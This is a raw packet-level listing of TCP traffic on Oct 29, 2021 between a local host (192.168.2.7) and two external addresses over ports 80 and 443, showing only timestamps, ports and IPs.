Oct 29, 2021 15:30:26.358352900 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358369112 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358372927 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358390093 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358408928 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358426094 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358428001 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358445883 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358458996 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358464003 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358479977 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358480930 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358498096 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358515024 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358515024 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358534098 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358545065 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358550072 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358566999 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358583927 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358589888 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358601093 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358618021 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358618975 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358637094 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358653069 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358669043 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358670950 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358685970 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358701944 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358702898 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358722925 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358721972 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358738899 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358752966 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358761072 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358777046 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358793974 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358804941 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358810902 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358829021 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358839035 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358844995 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358859062 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.358870029 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.358900070 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.398271084 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398375034 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398402929 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398432016 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398452997 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.398461103 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398490906 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398516893 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.398519993 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398555994 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.398601055 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398649931 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.398807049 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398852110 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398891926 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398910999 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.398936987 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.398977995 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399020910 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399025917 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399065018 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399096012 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399108887 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399153948 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399154902 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399198055 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399240017 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399240971 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399282932 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399322987 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399324894 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399362087 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399403095 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399405003 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399450064 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399493933 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399497986 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399538994 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399576902 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399579048 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399616003 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399660110 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399696112 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399707079 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399729967 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399736881 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399775982 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399815083 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399816036 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399859905 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399899006 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399903059 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399946928 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.399986982 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.399990082 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400029898 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400068998 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.400070906 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400111914 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400149107 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.400150061 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400197983 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400235891 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400237083 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.400280952 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400316000 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.400326014 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440226078 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440288067 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440315962 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440330029 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440355062 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440433979 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440448046 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440469027 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440512896 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440582037 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440602064 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440619946 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440624952 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440644979 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440664053 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440768957 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440788984 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440808058 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440826893 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440829992 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440860033 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440860987 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440891027 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440897942 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440920115 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440941095 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440958977 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440974951 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.440979004 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.440998077 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441000938 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441016912 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441030979 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441039085 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441059113 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441077948 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441080093 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441099882 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441118956 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441119909 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441139936 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441159964 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441178083 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441178083 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441200972 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441201925 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441220045 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441241026 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441246033 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441261053 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441274881 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441279888 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441301107 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441320896 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441323042 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441350937 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441359997 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441371918 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441390038 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441410065 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441428900 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441437006 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441448927 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441452980 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441469908 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441481113 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441490889 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441509962 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441529036 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441529989 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.441545963 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.441565990 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.481647968 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481714010 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481746912 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481780052 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.481790066 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481817007 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481828928 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.481843948 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481869936 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481897116 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481900930 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.481925964 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481939077 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.481959105 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.481992960 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482011080 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482024908 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482050896 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482086897 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482093096 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482112885 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482132912 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482134104 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482153893 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482177973 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482178926 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482203007 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482208967 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482222080 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482243061 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482244968 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482270956 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482294083 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482300043 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482316971 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482336044 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482352972 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482364893 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482372999 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482391119 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482402086 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482409954 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482425928 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482430935 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482450008 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482465982 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482465029 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482484102 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482498884 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482505083 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482527018 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482527971 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482546091 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482563019 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482583046 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482584953 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482600927 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482621908 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482621908 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482641935 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482645035 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482661009 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482678890 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482681036 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482698917 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482748032 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482754946 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482822895 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482861042 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482875109 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482886076 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482911110 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482929945 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.482935905 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.482958078 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.522861004 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.522907972 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.522942066 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.522945881 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.522975922 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523003101 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.523009062 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523052931 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523076057 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.523088932 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523121119 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523128986 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.523153067 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523186922 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523190975 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.523219109 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.523987055 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.554107904 CEST	49828	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:26.606209040 CEST	80	49828	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:26.711852074 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:26.711913109 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:26.712032080 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:26.886528015 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:26.886560917 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:26.930108070 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:26.930237055 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:26.937865019 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:26.937886000 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:26.938235998 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:27.010816097 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.389779091 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422418118 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422498941 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422537088 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422569036 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422600031 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422599077 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422626019 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422669888 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422672987 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422682047 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422688961 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422728062 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422732115 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422741890 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422792912 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422796011 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422810078 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422843933 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422852039 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422900915 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422938108 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422943115 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.422952890 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.422996998 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423000097 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423005104 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423047066 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423053980 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423063993 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423104048 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423141003 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423141003 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423151016 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423190117 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423198938 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423237085 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423269987 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423283100 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423294067 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423319101 CEST	49829	443	192.168.2.7	162.159.135.233
Oct 29, 2021 15:30:29.423336983 CEST	443	49829	162.159.135.233	192.168.2.7
Oct 29, 2021 15:30:29.423372984 CEST	443	49829	162.159.135.233	192.168.2.7
